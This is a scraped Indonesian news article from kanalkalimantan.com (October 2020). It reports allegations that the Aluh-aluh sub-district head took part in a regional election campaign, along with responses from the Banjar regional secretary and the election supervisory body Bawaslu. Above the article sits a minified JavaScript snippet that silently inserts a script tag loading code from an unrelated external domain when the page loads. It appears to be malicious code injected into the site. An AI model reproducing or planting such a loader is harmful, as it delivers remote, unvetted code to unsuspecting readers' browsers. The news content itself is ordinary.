(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Jika terbukti melanggar netralitas, Aparatur Sipil Negara (ASN) Pemkab Banjar, Camat Aluh-aluh SE bakal kena sanksi dari Komisi Aparatur Sipil Negara (KASN).
Sekretaris Daerah (Sekda) Kabupaten Banjar HM Hilman menunggu keputusan hasil pemeriksaan pihak Bawaslu Banjar, terkait dugaan keterlibatan Camat Aluh-aluh SE dalam kampanye salah satu pasangan calon bupati-wakil bupati Banjar.
“Karena sudah berproses dengan pengaduan yang disampaikan ke Bawaslu, maka kami menunggu keputusan hasil pemeriksaan Bawaslu. Sesuai SKB Netralitas ASN, bila ada pelanggaran, Pejabat Pembina Kepegawaian (PPK) melaksanakan rekomendasi Komisi ASN berdasarkan hasil pemeriksaan Bawaslu tersebut,” terang Sekretaris Daerah Kabupaten Banjar HM Hilman kepada Kanalkalimantan.com, Sabtu (17/10/2020) sore.
Dijelaskan Hilman, sebelumnya sejak 28 September 2020, sejatinya Pemerintah Kabupaten Banjar sudah menerbitkan Surat Edaran (SE) Nomor : 800/458PPK.2/BKDPSDM tentang netralitas ASN (Aparatur Sipil Negara) yang langsung diturunkan dan diteken oleh Bupati Kabupaten Banjar H Khalilurrahman kepada seluruh SKPD di Pemkab Banjar.
*Klik disini untuk baca atau download SE Pemkab Banjar tentang netralitas ASN dalam Pilkada (red)
“Sesuai Surat Edaran Bupati Banjar itu, kemudian ditindak lanjuti dengan deklarasi netralitas ASN Pemkab Banjar yang diikuti semua Kepala SKPD dan Camat secara virtual,” tegas Hilman.
Lanjut Hilman pihaknya juga melaksakanan deklarasi, sosialisasi hingga monitoring pelaksanaan SE Bupati yang dimaksud oleh tim dengan leading sektor BKDPSDM. Bahkan Monitoring juga sudah dilakukan ke seluruh kecamatan yang ada di Kabupaten Banjar.
“Terkait netralitas ASN ini untuk pemasangan baliho dan spanduk netralitas ASN saat Pilkada juga sudah dilakukan, seperti di halaman kantor Bupati Banjar dan masing-masing kantor SKPD dan kecamatan. Harapannya, bisa mengingatkan ASN Pemkab Banjar agar tidak terjadi pelanggaran,” pungkas Hilman.
Sebelumnya Bawaslu Kabupaten Banjar telah menerima laporan warga terkait dugaan keterlibatan salah satu ASN Pemkab Banjar di acara kampanye pasangan calon (Paslon) nomor urut 1 H Saidi Mansyur-Habib Idrus bin Ali Alhabsy di Kecamatan Aluh-aluh, Kabupaten Banjar pada Kamis (15/10/20) kemarin.
Menyusul pada Jumat (16/10/2020) malam, didampingi kuasa hukum, pelapor Kasmayuda, warga Kecamatan Aluh-aluh menyerahkan sejumlah berkas dan bukti dukung berupa foto hingga video kegiatan kampanye yang diduga melibatkan kehadiran Camat Aluh-aluh SE.
“Saya hari ini mendampingi pelapor terkait dugaan keterlibatan salah satu ASN di Kecamatan Aluh-aluh, di acara kampanye salah satu calon di Pilkada Banjar, yang bersangkutan ini merupakan Camat di Kecamatan Aluh-aluh, kejadiannya yaitu hari Kamis kemarin, Camat itu ikut dilibatkan dalam kampanye tersebut,” jelas Muhammad Rusdi, kuasa hukum Kasmayuda.
Adapun yang dilaporkan ini merupakan dugaan tindak pidana pemilu yang diatur dalam Undang-Undang Nomor 10 tahun 2016 tentang perubahan kedua atas Undang-Undang Nomor 1 tahun 2015 tentang Peraturan Pemerintah tentang pengganti Undang-Undang Nomor 1 tahun 2014 tentang Pemilihan Gubernur, Wakil Gubernur, Bupati, Wakil Bupati menjadi Undang-Undang pasal 70 Ayat 1 huruf (b) yakni dalam kampanye pasangan calon dilarang melibatkan ASN hingga TNI.
“Dalam video yang kami terima Camat Aluh-aluh, nampak memberikan sambutan dan dukungan dalam kesempatan itu, tentu diduga melanggar pasal 71 Ayat 1 dan Undang-Undang Nomor 7 tahun 2017 pasal 494,” jelasnya.
Sementara itu, setelah menerima laporan dugaan pelanggaran pidana pemilu, Koordinator Divisi Penindakan Pelanggaran Bawaslu Banjar M Syahrial Fitri mengatakan, terkait pelaporan yang ditemukan masyarakat ini setelah melalui proses pengawasan adminstrasi, setidaknya memerlukan waktu 7 hari sejak diketahui atau ditemukan dugaan pelanggaran yang dimaksud.
“Jadi di Bawaslu sendiri ada tahapan-tahapan yang harus dipersiapkan, baik bukti-bukti secara langsung atau melalui website kami, setelah ini kami perlu lagi waktu 5 hari untuk penanganan apakah itu melanggar Undang-Undang dan ayat yang dimaksud oleh pelapor,” jelas M Syahrial Fitri. (kanalkalimantan.com/rdy)
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.